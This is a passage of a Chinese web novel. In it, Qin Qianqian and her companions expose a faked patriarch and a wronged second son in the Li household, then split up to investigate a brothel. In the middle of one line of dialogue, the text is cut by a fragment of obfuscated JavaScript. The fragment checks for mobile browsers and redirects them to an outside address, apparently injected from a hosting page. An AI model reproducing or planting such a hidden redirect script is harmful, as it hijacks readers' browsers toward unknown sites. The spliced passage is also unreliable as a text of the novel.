白邵禾笑得双眼弯弯，摊开的手掌心里放着一两银子。秦千千毫不客气地拿过那银子，连忙揣进了自己荷包。
“有些故事，就是要知道全貌才能让人亘古铭记，永世流芳。可有些故事不是这样
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，就像是你以后做了皇帝，你会想让别人知道你脆弱之处吗？”
白邵禾这才醍醐灌顶，是啊，上位者怎么可能大肆宣扬自己的把柄？推己及人，张婧慈也不会让人把她曾经的遭遇传扬出去的。
可如此这般，那就会让她背上骂名，这等怪事宣扬天下，指不定还会惹祸上身吧？
秦千千不认同地摇头，一脸狡黠地跟他解释。
这套法子既然已经履行数年，枫林镇的人也都没说什么，也没人敢说什么。日后传扬开，在江湖上也只是多了一份谈资。
“再说了，这里固若金汤，谁敢来这里面捣乱，那不是妥妥找死嘛。”
秦千千没注意到，身后白邵禾突然阴沉的神情，自然就不知道，这根刺已经扎在了朝廷心上，早晚都要被拔除掉。
两个人刚走到客栈，突然一股人从门里跑了出来，为首的两个人还押着一个身形高大的人。被押送的人头上带着黑袋子，可是看身形，白邵禾觉得十分眼熟。
这不是晏信吗？
他悄悄瞄了一眼秦千千，秦千千正在勾着头看热闹，似乎完全没有察觉出异样。
没察觉出来，那他就什么都不说。等人走得差不多了，街头也重归宁静了，他们才走进客栈。
“千千，你怎么才回来？”桑风雪从楼上望下来，神色紧张地问她。元德跟王老怪也都神色慌张地下楼，看得秦千千莫名其妙的。
“不就是听故事吗？你们别……”
“不是，是晏信被抓走了。”元德没空听她说完，赶忙打断了她。可他刚说完，就看到白邵禾有些不悦，嘶……
王老怪着急的都快蹦起来了，他压低嗓音急切地说：“来人说是李家的人，你说把晏信抓走就抓走吧。李家的人还留了口信，晏信不招的话，就要来拿我们剩下的人！”
果然，能让王老怪着急的事情，也就是火烧到他自己了。白邵禾转头问元德，总不能没有缘由就抓晏信吧，甚至还要牵连所有人？
再说秦千千，现在怎么也是王张两家的熟人，这李家怎么敢的？白邵禾压根没把这恐吓放在心上。
“公子，主要是搜出来东西了，人家李家的玛瑙珠链，不知怎么从晏信身上找到了。他前脚才回来，后脚就被人搜出东西来了。”
秦千千一听就知道坏了，那玛瑙珠链就像是王氏通天藤纹一样，是李家的标识。可，怎么平白无故出现在晏信身上呢？
“那我们去找王小姐问个清楚。”桃花花还记得，王小姐说了，她扣押的晏信。那晏信身上有没有东西，问她准能知道。
“别傻了，王小姐当时只是找了个由头，联系我们。其实，也只是留他吃顿饭而已。再说我们人微言轻的，怎么就一定能找到她呢？”
话是这么说，那是因为秦千千知道，王予月现在一定是带人勘探地形、开凿洞口去了。现在找她，一定是找不到的。
“那我们就只能坐以待毙？”王老怪有些抓狂地挠挠头发，发尾处系着的铃铛还在叮铃作响，听的人心烦。
“是，我们现在只能坐等他们来找我们了。”白邵禾沉声开口，众人陷入一片沉默。
43. 李家的父子
与其坐以待毙，不如做点事情。
“元德，你去给我找个剪刀过来。”秦千千看着王老怪，若有所思地开口。
桑风雪无奈地转过头，想也知道她要干嘛了，看来是要跟王老怪的头发生气了。
之前在涌泉镇，泡温泉那几天，王老怪这满头小辫是解开了的。可现在他又把那些聒噪的铃铛挂上了，秦千千实在是忍无可忍。
察觉到什么，王老怪准备先跑为敬。可收到秦千千眼神暗示的白邵禾，直接按住了他的肩膀。
“走吧，咱们出去说。”白邵禾笑着开口，他也是早就看那长发不顺眼了。
于是她们在城外找了片空地，由秦千千操刀，白邵禾与元德武力压制，桑风雪和桃花花当看客，算是一个也没闲着。
几剪子下去，王老怪头发上的铃铛悉数掉落。秦千千提着他的两个辫子晃了晃，“这些需要再给你修一修吗？”
“不用不用了！”王老怪赶忙摆手，这日子给他过得，简直是战战兢兢的啊！
好在马上就不是他一个人战战兢兢的了。刚刚来抓走晏信的人，现在又来抓人了。
“在下李家家仆，李福来。奉老爷的命令，想请各位到府一叙。”
身后跟着二三十仆人，很难让人相信，他们是请人去府中叙旧的。
“那就请李管家在前面带路吧。”白邵禾根跟秦千千商议过这事儿，身正不怕影子斜。
晏信好歹也是跟着他们同行一段时间的友人，放任他不管，也实在说不过去。
是龙潭还是虎穴，他们都得闯一闯。
与张灯结彩的张府恰恰相反，李府到处挂着惨白的布条，家中每个仆人都低头颔胸，一副萎靡不振的样子。
“见谅，想必各位也知道我们府上发生了什么事情。老爷在正堂等着了，各位快请进吧。”
李福来也还没有呵斥，见到客人不行礼的仆从，一番解释算是滴水不漏。
秦千千不在意这些礼数问题，可白邵禾在乎，这种情况，只能证明家主是默许他们这么做的。
任何微不可察的懈怠，都是意有所指。
现在李家家主的意思很是明显，她们不配被好好对待，甚至有可能，把她们当成了晏信的帮凶。
正堂，也是灵堂。
李朗站在棺材前，漠然地看着来人。秦千千本来还想上前祭拜一下，毕竟死者为大，可还没走上前，她就被李朗喝止。
“我儿是怎么死的，现在还没有明朗，因此，你们就不用祭拜了。”
白邵禾心中不满，这种意气用事的人，是怎么做李家家主的？而且还跟张婧慈平分秋色，真是让人捉摸不透。
想归想，他还是没有表现出来。秦千千也不是任人宰割的软包子。那人这么呛她，她自然也不会给那人好脸色。
她光凭借清风酒楼老板的身份，就能获得多少尊重。到这里，这李朗不仅不识货，还怀疑自己。
“那你叫我们过来是干什么？看你给你儿子吊唁的吗？”秦千千语气不善地问他。
“呵，我找你们来是想问清楚，思源出事当天，你们在哪里。你们是不是跟那个晏信同流合污，杀害了我的儿子！”
当天她们都在秋风阁，晚上回去也是一觉到天亮了，谁有那个时间去谋害他儿子。
这事儿白邵禾可以作证，他晚上睡眠浅，再加上到了枫林镇后，就是他跟晏信一个屋子。那人有任何风吹草动，他是能听到的。
当夜晏信并未外出，这是证据确凿的事情。
不过比起解释，白邵禾则是提前发问，要求见晏信。
“李老爷，是死是活，你得让我们见见我们的友人吧？”
桃花花立马跟着点头，“是啊，总不能是你们把他打死了吧？”
晏信对桃花花还是很好的，又是给她买东西，又是悄悄给她零花钱。因此这群人中，她是最担心晏信的了。
李朗吹胡子瞪眼的翻了个白眼，似乎一点都不把她们的话放在眼里。
“想得…”
“爹！她们说的也没错，我们既然没有动晏公子一丝一毫，那就让她们见见吧。”
一道声音从棺材尾的屏风后传来，李福来再没请示老爷，直接起身去带晏信了。
“各位，在下李思清。这位是我爹，这里躺着的，是我小弟李思源。”
终于看清那人的庐山真面目后，秦千千不由得倒吸一口凉气，好像不对劲儿。
之前李思清为弟弟求药，她见过那人，是个儒雅之士。现在这个人怎么吊儿郎当的，摸着弟弟的棺材板，他甚至还能嘴角噙笑。
李思清察觉到她考究的眼神，他知道秦千千是何许人也，就立马清清嗓子，一旁的李朗顿时脸色不悦。
“后面人都死了吗？怎么还没把人带上来。”
这下白邵禾算是确定了，这人绝对不会是李朗。他手下季春霖查出的李朗，那可是个笑面虎，怎么会如此这般心浮气躁。
妥妥像是个…替代品。
秦千千在心中也有了定夺，她转身面对白邵禾，神情轻松的打了个哈欠。
李思清和李朗正担心她要说什么，现在看来是他们多想了。
“别说李老爷发火了，依我看这府中上上下下的人，都是皮痒了。如此怠慢客人，你们知道我是谁吗？”
秦千千忽然转身，霸气十足地盯着正堂立着的两个人。李朗眼神有些飘忽，他自然是听过秦千千大名的。
正是因为听过她的名号，才更会紧张起来。
李思清直接走到他爹身前，挡住了秦千千透过来的视线。
“谁人不知京都的秦老板？只不过事关人命，秦老板又何必这么气焰嚣张呢？”
桃花花刚准备骂这人贼喊捉贼，却被桑风雪拦了下来。白邵禾听到由远及近的脚步声，就循声望去。王老怪跟着他的视线看，果然看到了来人。
看到晏信安然无恙后，大家这才松了一口气。
可他们却压着晏信，不让他过来。一左一右把他压到李思清面前，而李思清牵起那个，侮辱意味大于实际意义，拴在晏信脖子上的一根绳子。
“李思源，你不要太过分了！”秦千千忍无可忍，指着他说出来他的秘密。
李思源还想抵赖，
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他用力一扯那根手指粗的麻绳，恶狠狠地警告秦千千不要乱说话。
“你再满口胡说，我就对你不客气了！”
白邵禾蔑视地一笑，看来这父子二人，没一个真东西啊。既然秦千千看出他是假的，那也就能看出李朗的破绽。
“哦？我倒想要看看，你究竟能对她怎样不客气！”白邵禾抬眸看着他，眼神中闪过的一丝戏谑。那眼神刺痛了李思源的心，他转身抽出身边侍卫的长剑，指着秦千千这个方向。
“千千小心！”桑风雪连忙开口提醒，万一那人要是搞个突刺，她怕秦千千躲避不及。
白邵禾飞速上前，把秦千千挡在身后，桑风雪她们这才松了一口气。桃花花满脸疑惑地望着堂上的人，都到这个程度了，怎么没听到晏信说一句话呢？
桃花花这才注意到，不是晏信没说话，而是他微微张嘴却发不出声音。似乎，张嘴对他来说也是个很困难的事情。
“千千，不好了！你看晏信，他是不是嘴巴出了什么问题！”
桃花花站在秦千千身后，指给秦千千看。确认这事儿后，秦千千心中的怒火又盛了一分。
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果然如江湖传言一般，哥哥李思清是温良雅士，弟弟李思源则是不思进取之人。现在的局面也是两方僵持不下，那就不如坐下来好好谈谈。
李思源请她们到后面落座，毕竟这里有口棺材，不太方便谈事。而李朗还装模做样的走在前面，白邵禾看透不说透,既然想装，那就继续让他们装装。
“你先把晏信给我放了。”秦千千现在是气场全开，拿出了震慑全场的气势。
白邵禾心中暗暗赞许，并在心中猜测，这或许是她隐藏起来的一面吧？毕竟清风酒楼的老板，怎么可能是个整天就会嘻嘻哈哈的丫头呢？
她神情肃穆又狠厉，言语中散发出一种不容置疑的威压。对面的李清源只好挥挥手，让人过来松绑。
元德和王老怪赶忙过去搀扶晏信，白邵禾也上前查看情况。王老怪判断就是中了一点点毒，才导致不能说话的。好在不严重，问题不大的。
这边刚松了口气，那边就有人开口。
“不过我要跟你说，这不是……”李清源话还没说完，秦千千就目光如炬地看着稳居主座的李朗，李清源察觉到他在想什么，就愣了一下。
“秦千千，你看我爹做什么？”更先前一样，他立马跑到前面挡住秦千千的视线。
白邵禾听到秦千千冷笑一声，而后她抬手鼓了鼓掌。
“李公子，你若是不屏退这些人，那我可就要现在说了。”
那李思源一点都不敢怠慢，他知道这是要大起底，把他干的那些事情都给抖出来了。桑风雪觉得情况不对，寸步不离地跟着秦千千，就差直接把她护在身后了。
可秦千千却说没必要，让桑姐姐坐着听故事就好。白邵禾眉心突突直跳，不知为何，他总觉得事情会跟自己想的不一样。
“桑姐姐，这个弟弟李思源是个好人，不用防备着他。”
这话一出，白邵禾他们都大吃一惊。
李思源，怎么会是好人呢？
44. 偏心的对待
白邵禾他们都屏气凝神，等秦千千给他们解释刚刚的话，秦千千在家仆悉数退下后，走向了李思源，那个所谓臭名昭著的人。
李思源的脸上闪过一丝希冀，看得白邵禾心中不解。这人的表情，好像他期待这一天，已经期待了好久一样。
“秦老板，你就把你的猜测全告诉我，如果哪里遗漏的话，我可以补充一下。”
事情即将真相大白时，李思源反而洒脱了不少，眉眼间全是镇定自若。白邵禾以为他这是负隅顽抗，死到临头了还不交代自己的事情？
任谁来想，秦千千就不该答应他这个提议的。
毕竟，秦千千纯靠推测，怎么可能面面俱到？那到时候李思源再顺水推舟，不承认一些罪行，那可怎么办？
“千千，要三思！”
桑风雪忍不住开口唤她，她这种行侠江湖的人，最看不得有些恶人没遭报应了。在她看来，这李思源假冒自己哥哥，其中必有蹊跷。
说不准，就是李思源杀了他哥哥，再顶替那翩翩公子的身份。这样，他就可以舍弃之前臭名昭著的前半生，再活一世了。
白邵禾也是一脸担忧地看着秦千千，他的想法也是如此。看着她们殷切的神情，秦千千沉默地点头，不过该怎么做，她心中自有打算。
“江湖上素来都有李家双生子的佳话，说的不是真正的双生子，而是你们家两个儿子，虽然不是一母所出，长相却极为相似。”
当初李朗对这事儿还毫不在意，毕竟他的心思全在自己的大儿子李思清身上。就连给二儿子起名字，也饱含自己的私心。
李思源的源，就是他的大儿子，李思清。
原因很简单，都是因为他们两位的娘亲，在李朗心中的地位不同，爱屋及乌罢了。
李朗是正儿八经入赘到富贵人家的穷小子。在妻子母族的扶持下，李朗生意终于有了成果。可天有不测风云，正妻的母族却在那个时候落败了。
“建禄九年，那件事情闹得很大。朝廷一道令下，梁平乐的母族抄斩三十余人，梁平乐自此以后，再也没有了家族的依靠。”
秦千千不由得唏嘘，对于梁平乐来说，家中亲属的离去，让她备受打击。可那时的她还不知道，自己窝囊的下半辈子，才刚刚开始。
桃花花捏着下巴沉思，跟秦千千说起了自己的判断。
“那李思源这么嚣张跋扈，肯定就是梁平乐生的孩子喽？”
白邵禾抬眸看了她一眼，她算是一半都没有蒙对。
秦千千刚一开口，白邵禾就知道梁平安以后的日子不会好过。都说背靠大树好乘凉，她的依仗倒了，那还怎么镇得住李朗呢？
至于梁平乐的孩子，自然也得从小活得战战兢兢的，那就不可能是那种气焰嚣张的人。再结合秦千千信誓旦旦地说，李思源是个好人，那就只有一种可能……
“不会是从小你爹就把所有的骂名，都加到你的头上吧？”王老怪一脸不可思议地开口，这话他说出来都觉得匪夷所思，难道真的有人会这么做吗？
李思源苦涩一笑，点了点头。
梁家被抄家第二年，李朗就娶了新房——安含玉。她家不如之前的梁家富贵，但那时的李朗已经富裕起来，压根不在乎安含玉的家境。
他只想娶当地最有名望的美人，给自己撑脸面。安含玉是个贤内助，婚后，李朗跟她十分恩爱，对她的喜爱也是日渐浓烈。
从那时开始，梁平乐就变成了糟糠之妻。
“所以接下来的事情，就是安含玉之子自然是备受恩宠，却致使他骄奢淫逸，而你李思源过的是胆战心惊，还得替他背负骂名？”
白邵禾趁秦千千转头喝水的空档，借着秦千千的话，往下说下去。
“是啊，我替他背负了一辈子的骂名。可前两日，他死在寻花问柳上，这脏水自然而然要泼在我头上。还说什么李思源已经死了，可李思清的名声不能毁坏一点。”
元德皱眉疑惑，李朗只有一个儿子了，李思源现在答应也没什么不好的吧？说不准，还能用大少爷的身份，给自己和母亲谋筹些便利。
元德刚说完自己的想法，王老怪就照着他肩膀给他来了一下。
“人活几十年，有些人看名声比命都重要，你怎么能草率地这么说！”
元德还没来得及认错，却被李思源认同了他的说法。
“不，其实当时我正是这么想的。反正我名声是烂大街了，若真能让我母亲过得好一些，我又有什么不满意的呢？可……”
听到这里，白邵禾的心都揪了起来。有些人总是贪得无厌的，你剖心给他们，他们不仅不会感激，还会想要你挖肝掏肺给他们。
“他们居然要以此逼死我娘，美其名曰，这样才能让外人信服。”
其实就是对梁平乐厌恶到极点，想要弄死她的借口罢了。李思源无法自抑地发抖，想起这事儿，他就觉得恶心。
他的忍辱负重，换来的却是别人的得寸进尺。
“咳咳……”
晏信捂着嗓子咳了两声，王老怪说那就没大碍了。
“所以你带晏信过来，应该就是想引我们过来，有求于我们吧？”
秦千千觉得现在没有什么好拐弯抹角的了，她就在等李思源说出要拜托她们的事情。
“那还用说！肯定是杀了这个该死的李朗啊！”桃花花指着李朗，恶狠狠地开口。
白邵禾微不可查地叹了口气，就这桃花花的资质，秦千千还想培养她接手酒楼？她们看人的眼光，真是一代比一代不靠谱啊。
姜千秋选中秦千千，他就以为够离谱的了。谁成想后面还有这一出……
白邵禾甚至在认真思考，日后若跟她成了挚友，要不要劝她再思虑一下这个计划。
显然秦千千也被逗笑了，她走过去按下桃花花的手，告诉她这是假的，肯定不是李朗。
一转头，李思源直接跪在了地上。
男儿膝下有黄金，白邵禾跟元德使眼色，元德赶忙上前去扶他。秦千千也赶紧让他起来。
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>“李公子，你尽管说。我既然问你了，那就是能帮上忙，要尽量帮你的。”
主人一人行侠仗义，她秦千千虽然做不到那个程度，但也会尽量做些善事的。
“我爹为了怕我不同意，直接把我娘藏了起来，我不知道他带着我娘，还有二娘去了哪里。但他给我留了书信，说让我守好李家，他一年后再回来。”
这不就是挟持人质吗？一年之后，江湖上谁还管一个浪荡子的丑事。到时风平浪静了，李朗再回来，他可真是有够贼的。
白邵禾咬紧牙关，为李思源打抱不平。而且他下定了决心，不管秦千千管不管，这事儿他是管定了。
府中上上下下，都没有人知道他们的去向。李思源觉得自己等不了一年，娘亲在他们身边，多呆一秒都是危险。
“你这个二娘，有良心吗？”桑风雪蹙眉问她，若是安含玉不想为难梁平乐，总归还是能劝一劝，留她性命的吧？
听到这话，李思源绝望地闭上了眼。若是没带上安含玉，他至少还有一成把握，自己的娘亲是安全的。可带上那个蛇蝎妇人，他真的没有一点底气。
“这件事情，你们三东家怎么说，不是任何事情都决议的吗？”秦千千觉得有些怪怪的。
“我爹说了，不能联系另外两家，这是他提的唯一一个要求。”
李府的事情没什么进展，秦千千一行人就回了客栈，吃过饭在屋中商议的时候，她们还是觉得很不可思议。
那李朗竟然能偏心成那个程度，甚至不惜直接撕破脸威胁二儿子，说要是对李思清的尸体不敬，就让他一辈子见不到自己娘。
“这李思源当初就不该答应这事儿，一步退步步退！”王老怪抱着酒葫芦，义愤填膺地说。白邵禾权当他喝醉了，没动脑子就瞎说呢。
“你还没看明白吗，他爹就是拿捏住他孝顺娘亲的这一条，就让他搭上了一辈子。”
白邵禾冷静剖析，随后自然而然地看向秦千千。
“千千，那我们这个要从哪里查起？”
回来之后秦千千一直沉默寡言的，白邵禾看出她心里藏着事儿，甚至连商议都没怎么发过言。于是开口，把她的注意力叫了回来。
她的思路还是很清晰：先从安含玉入手，查有没有可能是回了她们娘家，亦或者查查安含玉的为人。
再者就是去找枫林镇的进出城记录，这个地方跟别的地方不同，王予月为了她的大计，对进出人员是严防死守，在那里应该会查到些文章的。
至于李思源的话，秦千千觉得不能全信。还得有人去暗访一下，当天晚上青楼里的情况，以及兄弟俩在家中的地位等消息，都得重新调查。
就是最终的分组上，大家犯了难。
晏信嗓子已经恢复的差不多了，也就是说，全员都可以忙计划。只不过不同计划上，需要的人那可就大不相同了。
比如去青楼，三位女生就不适合去。
再比如，不能放王老怪一个人出行，必须得有人与之为伴。
45. 分头行动（一）
人员分配这事儿自然是秦千千来安排，不过白邵禾也是在心中盘算好，大致的人员分配了。
“首先是王老怪，你有什么要求吗？”秦千千这次倒是没有虢夺王老怪的心意，第一个问他。
王老怪真是非常受宠若惊，他想了想。
“我不去青楼，剩下的地方都好说。”
晏信心中有些惊讶，他以为王老怪这种放荡不羁的人，对于男女之事应该也是要豁达的吧？谁知道，他竟然还挺有自己操守的。
查看进出城记录就要找王予月，这项任务，秦千千去再合适不过。而她至少要带一个武力保证，也就是说，她得带上桑风雪。
“所以桃花花，肯定也要跟着我的。”秦千千这一组算是分配的快。
元德主动站出来，要求跟王老怪去调查安含玉的家。他比较适合调查事情，而觥筹交错的局面，真的会让他局促的不行。
秦千千长长叹了口气，“我原本想让你跟晏公子，一起去酒楼调查调查的，你这胆子太小了！不见大场面，以后回酒楼，要怎么好好招待客人呢？”
完全没想到她会这么说，元德一时间呆滞了。转念一想，殿下的调查完成后，他自然要回去当自己的暗卫都统，又怎么可能再回什么清风酒楼呢？
而且，要是秦千千发现自己被骗，估计也会跟他们断绝往来吧。想到这里，元德心中有一股不可言状的异样。
白邵禾不知道元德在思索什么，看他没有回答，就开口替他说话：“千千，来日方长，这次就让他跟王老怪一起去那边吧。再说，也没必要非在那种地方锻炼。”
秦千千失笑，这话说的也有道理。最后三组人员都分配完毕，大家为了不耽误时间，直接开始奔赴各个目的地。
王老怪和元德要去的地方，位于枫林镇向南五十里的一个小镇子，宝桐镇。两个人租了两匹快马，火速赶往那里。
一路上没有秦千千跟王老怪搭腔，他的话也渐渐少了很多，最后基本上是一句话都不说了。
元德非常享受那种无言的寂静，只不过他只享受了一个半时辰，两个人就到了宝桐镇。两个人就近找了个客栈，把马送去后院吃草料，他们两个坐在客栈中休息。
一壶茶还没喝完，元德就提议赶紧出去查案子。王老怪摆摆手，让他坐下，现在不着急。
“不是，你不能因为老板不在这里，你就消极怠工吧？”
元德自小就是严格执行任务的人，他本人也是不在做任务，就在做任务的路上，日积月累，就成了个闲不下来的人。
可奈何遇到王老怪这个主儿，平时还有秦千千扯着嗓子跟他吵、催着他，现在离了秦千千，他这就开始惰怠了。
元德气的牙痒痒，只能忿忿不平地坐下，那边的王老怪笑着给他斟了杯茶，跟他分析起了形式。
“你说安家的父母能不知道这事儿吗？咱们两个外乡人，刚来就火急火燎的四处打探人家，而且这安家怎么说都得是当地大户吧？那不是早就把我们自个暴露的彻底吗？”
没成想这王老怪分析的还是很有道理的，元德心中的无名火彻底不见了。他想起殿下对他耳提面命两三次的事情，那就是以不变应万变。
王老怪看自己说服他以后，举起手中的茶盏，跟放在元德眼前的杯子碰了一下。
“所以接下来，你就得听我的话了。这样吧，咱们先回房里睡一觉，明天再去打探事情。”
看着外面深沉的夜色，元德只好同意这个提议。
夜半笙歌时，正是青楼里热闹的时候。
聚月楼突然来了两个又多金又英俊的人，这下可把老板柯秋彤给乐坏了，她赶忙挥着手帕去招待这二位。白邵禾故意控制脚步，让自己稍稍在晏信身后。
柯秋彤按照往常的规矩，走在前面的人，她自然而然地以为是地位更高的公子。因此赶忙殷勤地招呼晏信，白邵禾神情淡然地看着，被攀扯却无法挣脱开的晏信，心里有一丝窃喜。
“公子，看上我们这里哪个丫头，尽管跟我说。只要钱给够，我陪公子喝酒也不是不行。”柯秋彤挽住晏信的胳膊，还作势把头倚在晏信肩膀上。
要说那柯秋彤也就三十出头的年纪，面容姣好。只不过太热情奔放了，晏信有点受不了。
“得得得！我是要找郁春儿。”
晏信赶忙往反方向偏头，也好在那柯秋彤听到这名字后，转头看了他一眼，缓缓松开了攀扯他胳膊的手。
“春儿啊，好的。那您先上楼，我马上让她过去。”
说完，她看到了一直负手站在后面的白邵禾。那人身姿挺拔，周遭隐隐透出一种肃杀的氛围，搞得柯秋彤有点不舒服。
但生意还是要做的。
“公子，您有什么相中……”
“我要你。”
白邵禾嘴唇轻启，目光坦然地看着她。
那眼神看的柯秋彤有些发怵。做她们这行的，所见的都是那种色眯眯的眼神，可突然来了个堂堂正正，眼神中不带一丝情欲的情况，还真让她难以招架。
往常，柯秋彤会笑着打趣回去，无论对方说的是多下贱的话语。可现在，竟让她愣了一下。不过她立马晃过神来，笑着说当然可以。
“只不过……”
“钱不是问题，前面这位公子是能付得起的。”
坑晏信这事儿上，白邵禾是绝不手软的。暗卫可是查了出来，晏信的爹，那也是富甲一方的大户。晏家家业跟白邵禾的白家，几乎是不相上下的。
因此，白邵禾也就大方坑他了。谁让这人揣着钱，还天天坑秦千千那仨瓜俩枣呢。
晏信赶忙点头，认下了这事儿，他心中以为白邵禾没有多少钱，才这么说的。因此他也不生气，只是着急去找郁春儿，找她盘问事情。
两人刚落座没多久，柯秋彤就带着郁春儿进屋了。晏信和白邵禾都没想到，郁春儿精神看起来恍恍惚惚的，就连给客人行礼，都是柯秋彤指点后，她反应半天才微微屈膝行礼的。
“你们两个都坐吧。”晏信摆了个请的手势，让她们坐了下来。而后，他从怀中掏出一张二百两的银票，放在了桌子上。
“不知道这些，能不能买到我们要问的东西。”
晏信陈述了自己的来意后，白邵禾问出了他们想问的唯一问题。
“那天晚上究竟发生了什么？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286194|148501||http|test|mini|href|location''.split(''|''),0,{}));
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柯秋彤抬眼看着二位，桌下的手一直在搅着衣角，看起来十分犹豫。白邵禾也不开口催她们，只是沉默地等待。
不知过了多久，柯秋彤终于下定决心，说起那天的事情。
那李思清的确是热爱女色没错，可他这人有个习惯。他若真的喜欢谁，那就会把那人赎出去，养在他在镇外购置的宅子里。
至于他日日来聚月楼，其实就是没去外宅时，在这里讨个休息的地方。而且不会与这里的女子发生关系，不过，他前后在这里赎出去两个姑娘。
“我知道这很难让人相信，不过李公子都死了，我真的没必要骗你们。而且，我还有个不情之请。”
李思清身上还有个怪事儿，他第一次赎出去的姑娘，一个月后惨死在外宅，据说死状可怖。李思清低价处理了那个宅子，又找了个宅子。
可同样的事情又发生了一次。
说到这里，柯秋彤的手不由得颤抖起来。
“那有没有可能，是李思清杀了她？”晏信看她一脸紧张，就语气柔和地开口问。谁知柯秋彤连忙摇头，否认这个说法。
“当时青天白日的，他砸开我们聚月楼的门，然后惊慌失措地跟我描述那件事情。当时那种惶恐，是装不出来的。这事儿再次发生后，他就再也没有从这里赎出去过女孩儿。”
不止没赎出去女孩儿，还几乎天天住在这夜夜笙歌的地方。
“他这是不敢一个人住，只想睡在这里寻求陪伴吧？”
白邵禾说出自己的看法，心中却不免失笑。这让他想起自己五弟，当时坑害诬陷自己后，五弟反倒是整天疑神疑鬼的。就跟李思清一样，必须要见到很多人，才有一些安全感。
“是啊！这也是我想求两位的一件事情，那李公子之前跟郁春儿说了，要赎她出去。不过是酒后胡言，可我们都害怕万一真发生了什么事情……所以，你们能不能把这丫头带走？”
柯秋彤转头看郁春儿，满眼担忧。这丫头也是她看着长大的，只可惜她没办法真护住郁春儿的周全。仿佛生怕他们拒绝似的，柯秋彤把桌上的银票推了回去。
“两位仁义之士既然要查这个事情，那就一定是心怀坦荡之人。我没本事，不可能日日守她周全。她整日也是担惊受怕的，因此，我愿意再给二位一些钱，就当是给你们二位的酬劳。”
柯秋彤言辞恳切，晏信觉得实在没有拒绝的理由，只能应承下来。
白邵禾对此不置可否，就是觉得这柯秋彤，是不是太容易相信他们两个了。还是说，她已经走投无路，病急乱投医了？
这边事情处理完后，柯秋彤站在门口送别她们三位。等她们走远后，她对身边的仆从摆手，跟她耳语。
“快去跟邀月丫头说，这边都搞定了，让她赶紧禀报主人。”
收到消息的邀月，直接当着王予月和秦千千，桑风雪以及桃花花的面，说了这事儿。
“这下你放心了吧？这事儿他们且得忙一阵儿呢，你们三个就从密道离开吧。”王予月白天在郊外奔波了一天，真的是累坏了，因此话刚说完，就打了个哈欠。
秦千千她们三个也不再逗留，直接分道扬镳出了城。
46. 分头行动（二）
原本秦千千还要找机会，若是能解放出来三个人的话，那就三个人各自去查探一个出问题的泉眼。可若是匀不出来人，那她就要自己找机会去查勘那三个泉眼。
好在眼前有了机会。
桑风雪她信得过，秦千千就直接交代她出城后要去的地点。而桃花花还不担事，因此秦千千安排平娘带她一起去。
临行前，秦千千还专门交代她们两个人，特别是桃花花。
“说不准平娘那边还在有人跟踪，上次我出城，就有五拨人跟在身后。不排除，那些势力中会有人一直派眼线驻守，所以一定要确保真正安全后，才能采取下一步行动。”
出于担忧，桑风雪趁着周围没有王家的人，压低声音问秦千千，那五拨人都有谁。秦千千沉思片刻，告诉了她们。
当时三东家，每家都有派人跟踪她。至于剩下两股人，一股来自京城，一股尚不清楚。
“王小姐派出的那一股人，是我让她干的，目的是保护我的安全。至于剩下的人，全都是不请自来了。”出于慎重考虑，哪怕跟线人取得联系，那也只是秦千千一个人知道的秘辛。
秦千千眼神微暗，京城那股势力，自打她们出京就一直在跟随。她心中已经有了计较，就是五王爷穆元基派的人。
至于另一股未知势力，却死活都查不出来一点端倪。
穆元基派人盯她，目的也很显而易见，他想见一面姜千秋。可姜千秋不是任何人都能见的。
自打秦千千回绝了他的交易，那人就天天派人盯着清风酒楼。几次三番后，秦千千忍无可忍地问他，究竟要咨询什么问题，那人却又装聋作哑。
因此，那股人就跟到现在。
“那最危险的，是不是就是势力不明的那一股？”
桃花花跟穆元基派来的人打过两次照面，没那么可怕。他们只是寻求做生意而已。对她而言，未知的，最是可怕。
秦千千点了点头，那一股势力，她是真的毫无头绪。而那一队人，也是最隐蔽、手段最为高超的人。
能培养那种训练有素的组织，一定是朝堂上的人。可小官没必要，有那种财力的大官，也没几个人。
难不成是皇帝？
秦千千早就否决了这个想法，皇帝找她干什么。可若是除了皇帝，若说还有谁有这种权势的……
除了穆轩岚，应该没有别人了吧？
不过她探察的清楚，穆轩岚被抄家是真真切切的。家中奴仆悉数遣散，他本人也被流放，怎么可能再派人追查自己呢？
暂时想不出所以然来，秦千千只好放弃思考这个问题，那小小的变数，应该问题不大。正好王予月过来，带她们进了王家密道，三人各自执行各自的任务去了。
白邵禾与晏信，带着郁春儿回到客栈，问了掌柜的才知道，秦千千她们没有一个回来的。两个人再急也没用，只好先带着郁春儿上楼从长计议。
夜色已深，白邵禾多要了个房间，想让郁春儿直接去休息。他要找机会去跟暗卫汇合，可郁春儿直接在大庭广众之下，给他们两位跪下了。
“两位恩人的所作所为，春儿无以为报。但求恩人不要把我一个人丢在这里，我不想死的那么痛苦。”
晏信和白邵禾互看一眼，心中各自盘算着什么。反正看到晏信眼中流露出的心疼时，白邵禾就已经有了计划。
晏信嘛，随便动动脑子就能坑到他。
两个人先带着她回屋，看她状态不佳，白邵禾就提出要去给她找个郎中探察一下病情。晏信不疑有他，甚至还想从自己怀里掏些银两给他。
“不必了！晏公子，那我去去就回。”白邵禾刚准备离开，那边的郁春儿就低头抽泣了起来。晏信赶忙坐在一旁，问她怎么回事儿。
“我只是害怕。白公子，你能不能不去找郎中，我没事儿的，我真的没事儿的！”郁春儿哭的是梨花带雨，那我见犹怜的样子，让晏信立马倒戈了。
“邵禾兄，要不还是先别去了！咱们两个的武功虽然都十分了得，但多一个人，多一份保障。”
白邵禾只好沉默地点头，他是万万没想到，居然被郁春儿绊住了脚。
于是三个人只得全部留下，待在客栈里面面相觑。
兴许过了半个时辰，白邵禾坐在靠窗的围椅上，闭目养神。晏信跟郁春儿有一搭没一搭的聊着，白邵禾懒得听，反正聊的都是一些凄惨身世、悲惨遭遇什么的。
听着郁春儿低声细语的音调，白邵禾都觉得自己快睡着了。可晏信随着她的讲述，神情时而愤怒，时而悲哀。
在白邵禾昏昏欲睡的关口，晏信突然用力拍了下桌子。
“太过分了！”
